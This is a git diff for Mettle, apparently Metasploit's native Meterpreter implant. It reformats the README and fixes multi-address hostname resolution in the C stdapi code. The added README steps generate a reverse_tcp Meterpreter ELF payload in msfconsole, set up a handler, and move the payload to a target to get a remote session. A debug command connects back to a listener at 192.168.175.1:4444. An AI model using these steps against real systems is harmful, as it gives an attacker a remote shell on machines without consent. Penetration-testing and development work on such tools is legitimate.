diff --git a/README.md b/README.md index 4a904a30..f69ea30a 100644 --- a/README.md +++ b/README.md @@ -1,27 +1,22 @@ -Mettle -====== +# Mettle -This is an implementation of a native-code Meterpreter, designed for -portability, embeddability, and low resource utilization. It can run on the -smallest embedded Linux targets to big iron, and targets Android, iOS, macOS, -Linux, and Windows, but can be ported to almost any POSIX-compliant -environment. +This is an implementation of a native-code Meterpreter, designed for portability, embeddability, and low resource +utilization. It can run on the smallest embedded Linux targets to big iron, and targets Android, iOS, macOS, Linux, and +Windows, but can be ported to almost any POSIX-compliant environment. -Building on Linux ------------- +## Building on Linux -Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and the following packages available: +Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and +the following packages available: ``` # Dependencies apt install curl build-essential git autoconf automake libtool bison flex gcc ruby rake bundler git mingw-w64 ``` -The Dockerfile under docker/Dockerfile contains a pre-configured build -environment as well. +The Dockerfile under docker/Dockerfile contains a pre-configured build environment as well. -Building on macOS ------------- +## Building on macOS On macOS you will need to install the xcode command line tools as follows: @@ -29,16 +24,14 @@ On macOS you will need to install the xcode command line tools as follows: xcode-select --install ``` -Make Targets ------------- +## Make Targets For general development, there are a few make targets defined: -Running `make` will build for the local environment. E.g. if you're on macOS, -it will build for macOS using your native compiler and tools. +Running `make` will build for the local environment. E.g. if you're on macOS,it will build for macOS using your native +compiler and tools. -`make TARGET=triple` will build for a specific host triple. See below for some -common ones. +`make TARGET=triple` will build for a specific host triple. See below for some common ones. `make clean` will clean the 'mettle' directory for the current build target @@ -48,8 +41,7 @@ common ones. `make clean-parallel` and `make distclean-parallel` do similar for all targets. -Packaging -========= +# Packaging To build the gem for distribution (currently requires Linux or macOS): @@ -69,8 +61,7 @@ To completely reset your dev environment and delete all binary artifacts: rake mettle:ultraclean ``` -Gem API -------- +## Gem API To generate a payload with Mettle: ```ruby @@ -91,15 +82,14 @@ The available platform triples for Linux targets are: * `mips64-linux-muslsf` * `s390x-linux-musl` -For Mingw32-64 Windows targets, the following triples are added. On up-to-date -Debian / Ubuntu systems, the `mingw-w64` package will install both toolchains. +For Mingw32-64 Windows targets, the following triples are added. On up-to-date Debian / Ubuntu systems, the `mingw-w64` +package will install both toolchains. * `x86_64-w64-mingw32` * `i686-w64-mingw32` -For macOS/iOS builds, the following triples are added. To target older macOS/OSX -versions, see https://github.com/phracker/MacOSX-SDKs to get the appropriate -SDK folder. +For macOS/iOS builds, the following triples are added. To target older macOS/OSX versions, see +https://github.com/phracker/MacOSX-SDKs to get the appropriate SDK folder. * `arm-iphone-darwin` * `aarch64-iphone-darwin` @@ -129,24 +119,110 @@ The formats are: * `:process_image` - a process image that must be started with a custom stack (see `doc/stack_requirements.md`) -Using with Metasploit ---------------------- +## Using with Metasploit To pull your local changes of mettle into your Metasploit install: -1. Add `-dev` to the version in `lib/metasploit_payloads/mettle/version.rb` -2. Build the gem as above +1. Add `-dev` to the version in `lib/metasploit_payloads/mettle/version.rb`: +``` +# -*- coding:binary -*- +module MetasploitPayloads + VERSION = '1.0.28-dev' + + def self.version + VERSION + end +end +``` +2. Build the gem with: +``` +~/code/mettle$ rake build +=> metasploit_payloads-mettle 1.0.28.pre.dev built to pkg/metasploit_payloads-mettle-1.0.28.pre.dev.gem. +``` 3. Copy `pkg/metasploit-payloads-mettle-X.X.X.pre.dev.gem` to the box you are using for Metasploit if it is different -4. Change the version in your metasploit-framework.gemspec to match the one you just built +4. Change the version in your `metasploit-framework.gemspec` to match the one you just built: +``` +spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev' +``` 5. `gem install ` (for example: 'metasploit_payloads-mettle', '0.4.1.pre.dev') -6. Run `bundle install` in your Framework directory, and ensure you see something like `Using metasploit_payloads-mettle 0.4.1.pre.dev (was 0.4.1)` in the output -7. Congrats, you are now done! +``` +gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem +``` +6. Run `bundle install` in your Framework directory, and ensure you see something like the following in the output: +``` +Using metasploit_payloads-mettle 1.0.28.pre.dev (was 1.0.26) +``` + +Within `msfconsole`: +7. Use an appropriate payload: +``` +use payload/linux/x64/meterpreter/reverse_tcp +``` + +8. Generate the payload: +``` +generate -f elf -o mettle.elf +``` + +9. Change the file permissions: + +``` +chmod +x mettle.elf +``` + +10. Set up a handler +``` +to_handler +``` + +11. Move the payload to the target machine and run it, you should now get back a session on `msfconsole`! + + +## Docker +The following steps make use of `gdb` for debugging. +1. Run the Docker container: +``` +sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash +``` + +2. Within the container run the following commands: +``` +sudo apt-get update +sudo apt-get install gdb +``` + +3. Compile(`D=1` enables debugging): +``` +make clean + +make D=1 +``` + +4. Then run with `gdb`: +``` +gdb --args /home/ubuntu/code/mettle/build/linux.x86_64/bin/mettle --debug 3 --uri "tcp://192.168.175.1:4444" +``` + +5. Once within `gdb` run the following commands: +``` +b *main + + run +``` + +6. To get breakpoint in `gbd` add the following into your code: +``` +__asm("int3"); +``` + +### TUI +[TUI](https://sourceware.org/gdb/current/onlinedocs/gdb.html/TUI.html) allows `gdb` to show the code above the terminal +for easier code traversal when debugging. _Note_ TUI will remove use of arrows for navigating console history. + +## Pushing out a New Gem -Pushing out a New Gem ----------------------- Build CI will automatically publish new gems when commits land to master and pass build. 1. Test Locally 2. Land the changes to upstream master 3. Monitor for the new gem on rubygems.org 4. Once the gem appears, make a PR for bumping the version in framework - diff --git a/mettle/src/stdapi/net/resolve.c b/mettle/src/stdapi/net/resolve.c index 71e39122..b226751d 100644 --- a/mettle/src/stdapi/net/resolve.c +++ b/mettle/src/stdapi/net/resolve.c @@ -13,6 +13,11 @@ #include "log.h" #include "tlv.h" +// Required to translate Metasploit's definition of AF_* to the host's defined value +// https://github.com/rapid7/metasploit-framework/blob/56016cb3e7b19af439d5007e868f5870f03227fb/lib/rex/post/meterpreter/extensions/stdapi/constants.rb#L19C1-L20 +#define WIN_AF_INET 2 +#define WIN_AF_INET6 23 + static void resolve_host_async(struct eio_req *req) { @@ -21,8 +26,12 @@ void resolve_host_async(struct eio_req *req) int ret_val = TLV_RESULT_SUCCESS; uint32_t addr_type; - if (tlv_packet_get_u32(ctx->req, TLV_TYPE_ADDR_TYPE, &addr_type) || - (addr_type != AF_INET && addr_type != AF_INET6)) { + tlv_packet_get_u32(ctx->req, TLV_TYPE_ADDR_TYPE, &addr_type); + if (addr_type == WIN_AF_INET) { + addr_type = AF_INET; + } else if (addr_type == WIN_AF_INET6) { + addr_type = AF_INET6; + } else { log_info("Unsupported address family '%u' for hostname resolution", addr_type); ret_val = TLV_RESULT_EINVAL; goto done; @@ -42,21 +51,27 @@ void resolve_host_async(struct eio_req *req) int result = getaddrinfo(hostname, NULL, &hints, &resolved_host); if (result == 0) { - struct addr addr_host; + struct tlv_packet *resolve_host_entry = tlv_packet_new(TLV_TYPE_RESOLVE_HOST_ENTRY, 0); + struct addrinfo* i; + for(i=resolved_host; i!=NULL; i=i->ai_next) + { - if (addr_type == AF_INET) { - addr_pack(&addr_host, ADDR_TYPE_IP, IP_ADDR_BITS, \ - &((struct sockaddr_in *)(resolved_host->ai_addr))->sin_addr, \ + struct addr addr_host; + if (addr_type == AF_INET) { + addr_pack(&addr_host, ADDR_TYPE_IP, IP_ADDR_BITS, \ + &((struct sockaddr_in *)(i->ai_addr))->sin_addr, \ IP_ADDR_LEN); - } else { - addr_pack(&addr_host, ADDR_TYPE_IP6, IP6_ADDR_BITS, \ - &((struct sockaddr_in6 *)(resolved_host->ai_addr))->sin6_addr, \ + } else { + addr_pack(&addr_host, ADDR_TYPE_IP6, IP6_ADDR_BITS, \ + &((struct sockaddr_in6 *)(i->ai_addr))->sin6_addr, \ IP6_ADDR_LEN); - } - p = tlv_packet_add_addr(p, TLV_TYPE_IP, 0, 0, &addr_host); - p = tlv_packet_add_u32(p, TLV_TYPE_ADDR_TYPE, addr_type); + } - // XXX: C meterpreter has comment about this free possibliy causing segfaults on Linux + resolve_host_entry = tlv_packet_add_addr(resolve_host_entry, TLV_TYPE_IP, 0, 0, &addr_host); + resolve_host_entry = tlv_packet_add_u32(resolve_host_entry, TLV_TYPE_ADDR_TYPE, addr_type); + } + p = tlv_packet_add_child(p, resolve_host_entry); + // XXX: C meterpreter has comment about this free possibly causing segfaults on Linux freeaddrinfo(resolved_host); } else { log_info("Unable to resolve host '%s': %d (%s)", diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index c445a03c..a0c98e76 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -178,6 +178,11 @@ #define TLV_TYPE_SHUTDOWN_HOW (TLV_META_TYPE_UINT | 1530) +/* + * Resolves host/hosts + */ +#define TLV_TYPE_RESOLVE_HOST_ENTRY (TLV_META_TYPE_GROUP | 1550) + /* * Registry */